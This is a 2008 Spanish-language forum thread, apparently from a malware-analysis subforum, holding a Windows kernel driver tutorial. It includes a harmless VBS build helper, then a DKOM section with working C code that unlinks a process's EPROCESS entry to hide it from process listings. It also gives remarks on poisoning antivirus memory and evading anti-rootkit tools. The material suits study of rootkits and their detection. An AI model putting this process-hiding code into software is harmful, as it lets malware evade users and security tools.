Introducción a la programación de drivers en Windows

Iniciado por Hendrix, 12 Octubre 2008, 20:43 PM

0 Miembros y 2 Visitantes están viendo este tema.

Karcrack

Lamento el Doble Post :-[ pero creo que es por una buena causa :xD

Bueno, harto de tener que hacer cada vez de forma manual los ficheros MAKEFILE y SOURCES hize este pequeño script en VBS :D Aqui lo dejo para que todo el mundo pueda usarlo :).

Código (vb) [Seleccionar]
'@
'Title: Script Asistente para creado de Drivers
'Autor: Karcrack
'Funcion: Crea los ficheros MAKEFILE y SOURCES necesarios para la compilacion de Drivers con el DDK...
'Fecha: 16/10/08
'Hora Finalizacion: 23:02
'@

'Declaramos las variables
Dim FSO, File, WSH, Data, Nombre
'Cargamos el FileSystemObject
Set FSO = CreateObject("Scripting.FileSystemObject")
'Cargamos el Windows Script Host. Shell
Set WSH = CreateObject("WScript.Shell")
'Si el fichero tiene algun espacio advertimos de que dara problemas para ser compilado
If InStr(1 , WScript.Arguments(0), Space(1)) <> 0 then
MsgBox "Te recuerdo, que para compilar correctamente los Drivers la ruta no debe contener espacios",,"Advertencia:"
end if
'Pedimos el nombre del Driver
Nombre = Inputbox("Introduce el nombre de tu Driver" , "Asistente de creacion de Drivers:" , "Driver1")
'Comprobamos que el usuario a escrito algo
If Nombre <> "" then
'Abrimos el fichero en modo Write y si no existe se crea. El fichero SOURCES se creara en la misma carpeta que el fichero que arrastres a este script.
Set File = FSO.OpenTextFile( Left(WScript.Arguments(0),InStrRev(WScript.Arguments(0),"\")) & "SOURCES", 2, True)
'Completamos la configuracion
Data = "TARGETNAME=" & Nombre & VbCrLf & "TARGETPATH=." & VbCrLf & "TARGETTYPE=DRIVER" & VbCrLf & VbCrLf & "SOURCES=" & Mid(WScript.Arguments(0),InStrRev(WScript.Arguments(0),"\")+1)
'Agregamos la informacion
File.WriteLine( Data )
'Cerramos el fichero
File.Close
'Ya hemos creado el fichero SOURCES, ahora crearemos el fichero MAKEFILE
Set File = FSO.OpenTextFile( Left(WScript.Arguments(0),InStrRev(WScript.Arguments(0),"\")) & "MAKEFILE", 2, True)
'Agregamos la informacion
File.WriteLine( "!INCLUDE $(NTMAKEENV)\makefile.def" )
'Cerramos el fichero
File.Close
Else
Msgbox "Has cancelado o has dejado en blanco el nombre del Driver, el Asistente no proseguira..."
End if


Instalacion: Guardalo con cualquier editor de textos plano en formato *.vbs.
Uso: Arrastra el fichero de codigo (*.c o *.cpp) al fichero que creaste (*.vbs) y en la misma ruta que el fichero de codigo se crearan los otros ficheros ;)

Saludos, espero que sea util :D

PD: Espero que no te moleste Hendrix, estamos desordenandote un poco el post :-[.. bueno, si lo sacas en PDF no pasa nada :rolleyes: :xD

Hendrix

Cita de: Karcrack en 16 Octubre 2008, 23:12 PM
PD: Espero que no te moleste Hendrix, estamos desordenandote un poco el post :-[.. bueno, si lo sacas en PDF no pasa nada :rolleyes: :xD

Todo lo contrario, me gusta ver que el texto motiva a la gente a programar (sea a modo kernel o sea en vbs  :xD)

Por cierto, estaba terminando el artículo de la eprocess y una mala combinación de teclas me ha echo volver la pagina atrás en el firefox, al intentar cargarla otra vez pulsando la flechita de siguiente pagina, se me quedó todo en blanco  :-X :-X Llevaba un montón de lineas escritas, y con la desmotivación que esto provoca, continuaré el post mañana  :xD :xD Na, aparte de esto mañana tengo examen y no es plan de pasarme media horita volviendo a escribirlo, mejor lo dejo para mañana.

Un Saludo  :D
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

Thor

Impresionante, espero sacar agallas para probarlo algún día.

Rozor

Karcrack de p**a madre tio con ese script has facilitado bastante el seguimiento del tutorial :D

Y hendrix gracias por la ayuda :D


Me voy a animar a escribir hacia tiempo que no veia este buen rollo en un foro :)
out in the streets they call it murder....

Yibam

Hola a todos,

Una pregunta:

Yo de Microsoft no me he bajado las DDK sino la WDK, parece ser una version mas moderna o no se?. Por ahi va mi pregunta, habeis trabajado con este entorno?

Ok gracias por todo, estaba leyendome este verano los dos libros recomendados pero me pare y viendo este POST me he vuelto a animar ...

Adelante el modo kernel ...

‭‭‭‭jackl007

veo q a modo de kernel se pueden hacer cosas muy poderosas, y se podria desbloquear la vigilancia de los antivirus?

Hendrix

Desde modo kernel se puede hacer de todo prácticamente. Hace un par de semanas escribí un artículo sobre envenenamiento de memoria en drivers, básicamente trataba de inyectar codigo tuyo dentro del de los drivers, y podrías, por ejemplo, envenenar la memoria de los AV para anular sus filtros. Algunos softwares de seguridad vigilan la SSDT para que no restauren sus hooks, otros ni siguiera esto. Con mi método se podría burlar todos esos, excepto los que vigilan sus propias variables (hay esta el fallo).

Por cierto, ahora que tengo algo de tiempo intentare terminar este documento.

Un Saludo  :)
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

Hendrix

4. Direct Kernel Object Manipulation (DKOM)


En el kernel se guardan muchísimas estructuras, pero la que nos interesa a nosotros es la eprocess. En ella se guarda la información de cada proceso.

4.1 Eprocess

En el kernel hay una estructura eprocess para cada proceso. El método con la que se enlazan es mediante un puntero que apunta la siguiente estructura y otro que apunta al anterior. Aquí una imagen que ilustra lo explicado:


Lo que tendremos que hacer para esconder nuestro proceso es modificar la eprocess anterior y la posterior para que quede así:


Como vemos, nos desenlazamos de la cadena y lo que provocamos es que pasemos desapercibidos ante cualquier api que intente recorrer la estructura, ya que hemos roto el enlace que nos unía a las demás.

El DKOM depende mucho de la plataforma en la que se este ejecutando el driver, ya que las estructuras cambian de posición según la versión de nuestro SO.

4.2 Ocultando procesos sin Hooks

Vamos a empezar a picar código. Lo esencial antes de hacer nada es saber que vamos a hacer y como lo vamos a hacer, así que lo fundamental es conocer la estructura, las posiciones de sus elementos, etc.  Para ello vamos a ver como esta compuesta la eprocess, y nuestra herramienta para ello sera el WinDbg.

Lo abrimos, lo colocamos en Kernel > local. Una vez aquí tenemos que cargar los symbolos si no los tenemos cargados ya. Para descargarlos escribid esto:

SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols

Tened en cuenta que la carpeta debe existir. Una vez echo esto escribamos lo siguiente: dt Nt!_eprocess y nos enseña esto:

CitarNt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER
   +0x078 ExitTime         : _LARGE_INTEGER
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : Ptr32 Void
   +0x088 ActiveProcessLinks : _LIST_ENTRY
   +0x090 QuotaUsage       : [3] Uint4B
   +0x09c QuotaPeak        : [3] Uint4B
   +0x0a8 CommitCharge     : Uint4B
   +0x0ac PeakVirtualSize  : Uint4B
   +0x0b0 VirtualSize      : Uint4B
   +0x0b4 SessionProcessLinks : _LIST_ENTRY
   +0x0bc DebugPort        : Ptr32 Void
   +0x0c0 ExceptionPort    : Ptr32 Void
   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE
   +0x0c8 Token            : _EX_FAST_REF
   +0x0cc WorkingSetLock   : _FAST_MUTEX
   +0x0ec WorkingSetPage   : Uint4B
   +0x0f0 AddressCreationLock : _FAST_MUTEX
   +0x110 HyperSpaceLock   : Uint4B
   +0x114 ForkInProgress   : Ptr32 _ETHREAD
   +0x118 HardwareTrigger  : Uint4B
   +0x11c VadRoot          : Ptr32 Void
   +0x120 VadHint          : Ptr32 Void
   +0x124 CloneRoot        : Ptr32 Void
   +0x128 NumberOfPrivatePages : Uint4B
   +0x12c NumberOfLockedPages : Uint4B
   +0x130 Win32Process     : Ptr32 Void
   +0x134 Job              : Ptr32 _EJOB
   +0x138 SectionObject    : Ptr32 Void
   +0x13c SectionBaseAddress : Ptr32 Void
   +0x140 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x144 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
   +0x148 Win32WindowStation : Ptr32 Void
   +0x14c InheritedFromUniqueProcessId : Ptr32 Void
   +0x150 LdtInformation   : Ptr32 Void
   +0x154 VadFreeHint      : Ptr32 Void
   +0x158 VdmObjects       : Ptr32 Void
   +0x15c DeviceMap        : Ptr32 Void
   +0x160 PhysicalVadList  : _LIST_ENTRY
   +0x168 PageDirectoryPte : _HARDWARE_PTE
   +0x168 Filler           : Uint8B
   +0x170 Session          : Ptr32 Void
   +0x174 ImageFileName    : [16] UChar
   +0x184 JobLinks         : _LIST_ENTRY
   +0x18c LockedPagesList  : Ptr32 Void
   +0x190 ThreadListHead   : _LIST_ENTRY
   +0x198 SecurityPort     : Ptr32 Void
   +0x19c PaeTop           : Ptr32 Void
   +0x1a0 ActiveThreads    : Uint4B
   +0x1a4 GrantedAccess    : Uint4B
   +0x1a8 DefaultHardErrorProcessing : Uint4B
   +0x1ac LastThreadExitStatus : Int4B
   +0x1b0 Peb              : Ptr32 _PEB
   +0x1b4 PrefetchTrace    : _EX_FAST_REF
   +0x1b8 ReadOperationCount : _LARGE_INTEGER
   +0x1c0 WriteOperationCount : _LARGE_INTEGER
   +0x1c8 OtherOperationCount : _LARGE_INTEGER
   +0x1d0 ReadTransferCount : _LARGE_INTEGER
   +0x1d8 WriteTransferCount : _LARGE_INTEGER
   +0x1e0 OtherTransferCount : _LARGE_INTEGER
   +0x1e8 CommitChargeLimit : Uint4B
   +0x1ec CommitChargePeak : Uint4B
   +0x1f0 AweInfo          : Ptr32 Void
   +0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   +0x1f8 Vm               : _MMSUPPORT
   +0x238 LastFaultCount   : Uint4B
   +0x23c ModifiedPageCount : Uint4B
   +0x240 NumberOfVads     : Uint4B
   +0x244 JobStatus        : Uint4B
   +0x248 Flags            : Uint4B
   +0x248 CreateReported   : Pos 0, 1 Bit
   +0x248 NoDebugInherit   : Pos 1, 1 Bit
   +0x248 ProcessExiting   : Pos 2, 1 Bit
   +0x248 ProcessDelete    : Pos 3, 1 Bit
   +0x248 Wow64SplitPages  : Pos 4, 1 Bit
   +0x248 VmDeleted        : Pos 5, 1 Bit
   +0x248 OutswapEnabled   : Pos 6, 1 Bit
   +0x248 Outswapped       : Pos 7, 1 Bit
   +0x248 ForkFailed       : Pos 8, 1 Bit
   +0x248 HasPhysicalVad   : Pos 9, 1 Bit
   +0x248 AddressSpaceInitialized : Pos 10, 2 Bits
   +0x248 SetTimerResolution : Pos 12, 1 Bit
   +0x248 BreakOnTermination : Pos 13, 1 Bit
   +0x248 SessionCreationUnderway : Pos 14, 1 Bit
   +0x248 WriteWatch       : Pos 15, 1 Bit
   +0x248 ProcessInSession : Pos 16, 1 Bit
   +0x248 OverrideAddressSpace : Pos 17, 1 Bit
   +0x248 HasAddressSpace  : Pos 18, 1 Bit
   +0x248 LaunchPrefetched : Pos 19, 1 Bit
   +0x248 InjectInpageErrors : Pos 20, 1 Bit
   +0x248 VmTopDown        : Pos 21, 1 Bit
   +0x248 Unused3          : Pos 22, 1 Bit
   +0x248 Unused4          : Pos 23, 1 Bit
   +0x248 VdmAllowed       : Pos 24, 1 Bit
   +0x248 Unused           : Pos 25, 5 Bits
   +0x248 Unused1          : Pos 30, 1 Bit
   +0x248 Unused2          : Pos 31, 1 Bit
   +0x24c ExitStatus       : Int4B
   +0x250 NextPageColor    : Uint2B
   +0x252 SubSystemMinorVersion : UChar
   +0x253 SubSystemMajorVersion : UChar
   +0x252 SubSystemVersion : Uint2B
   +0x254 PriorityClass    : UChar
   +0x255 WorkingSetAcquiredUnsafe : UChar
   +0x258 Cookie           : Uint4B

Lo que nos interesa a nosotros es esta estructura que se encuentra dentro de la eprocess: +0x088 ActiveProcessLinks : _LIST_ENTRY

Esta es la que apunta a las demás estructuras.

Un esquema de lo que tenemos que hacer es el siguiente:


  • Almacenar la dirección de la primera eprocess
  • Recorrer las demás estructuras hasta llegar a nuestro proceso
  • Modificar la estructura anterior y la siguiente para que no nos apunten a nosotros.

Para sacar la primera eprocess lo podemos hacer con la siguiente API: PsGetCurrentProcess.

A continuación dejo un código de lympex para sacar la eprocess de nuestro proceso a partir del PID.

unsigned long BuscaEPROCESSPid(unsigned int Pid)
{
unsigned long eproc,aux,proceso,ret;
PLIST_ENTRY lista;
unsigned int idProceso=0;

eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
lista=(LIST_ENTRY*)(eproc+0x88);//tenemos los punteros al siguiente y al anterior
aux=(unsigned long)lista->Blink;
proceso=(unsigned long)lista;
idProceso=*((int *)(proceso+0x84));

while(aux!=proceso && Pid!=idProceso)//recorremos la lista
{
proceso-=0x88;
ret=proceso;

idProceso=*((int *)(proceso+0x84));
//avanzamos
lista=lista->Flink;
proceso=(unsigned long)lista;
}

if(Pid!=idProceso)
ret=0;

return ret;
}


Como vemos va recorriendo la estructura, y una vez localizada la estructura de nuestro proceso devolvemos la dirección de su estructura eprocess.

Para ocultarlo solamente tendríamos que hacer lo siguiente:


PLIST_ENTRY plist_active_procs;
unsigned long eproc=0;

eproc=BuscaEPROCESSPid(1234);
plist_active_procs = (LIST_ENTRY *)(eproc+0x88);
plist_active_procs->Blink->Flink=plist_active_procs->Flink;
plist_active_procs->Flink->Blink=plist_active_procs->Blink;


Una vez echo esto el proceso con el pid 1234 quedaría oculto. Aunque no del todo, ya que algunos softwars anti-rootkits lo detectan, pero las APIs que sirven para listar los procesos no.

Hay varios métodos para detectar los procesos ocultados pro dkom. Algunos de método que usan los Anti-Rootkits es el análisis por fuerza bruta (para sacar la eprocess de los procesos que van del 5 al 99999 por ejemplo y comparándola con los saltos en la estructura eprocess), aunque hay más. Para saltarse estas protecciones es necesario modificar también la tabla de handles, el rootkit que hace esto es el FuTo, una versión mejorada del FU.

La intención de este documento no es la de que los script-kiddies hagan un copy paste del código expuesto, lo incrusten en sus virus y los manden a sus amigos. La intención de este documento es que los lectores se animen a adentrarse en el mundo del modo kernel, hay muchísimos temas más que son igual o más interesantes que los que se explicaron aquí, se puede hacer software cuyos fines sean muy distintos, como software anti-rootkits, firewalls, y un largo etc.


Nada más, solo me queda agradecer a las personas que me dieron el empujón en esto del modo kernel y las que aprendieron junto a mi. A todas ellas, muchas gracias  :)


Un Saludo  :)
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

Metallica007

Buenos dias. Mi idea era hacer un driver para comunicarme con un PIC a traves del puerto USB de una manera parecida al RS232. No se como puedo hacerlo y no he encontrado información para ello. No quiero utilizar un driver hecho ya si no hacerlo íntegramente. Si pueden ayudarme lo agradeceria. Un saludo.

Hendrix

Como puedes ver, este documento esta en el subforo de Análisis y diseño de malware, por lo tanto, este documento no resuelve dudas técnicas sobre este tipo. Solo da unas bases para que luego tu puedas profundizar en la rama que te guste más.

Para lo que pides probablemente necesites reescribir un driver para usb o crearte un filter driver. Hay varias soluciones para lo que pides, busca en google y elige la que más te convenga.

Un Saludo  :)

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián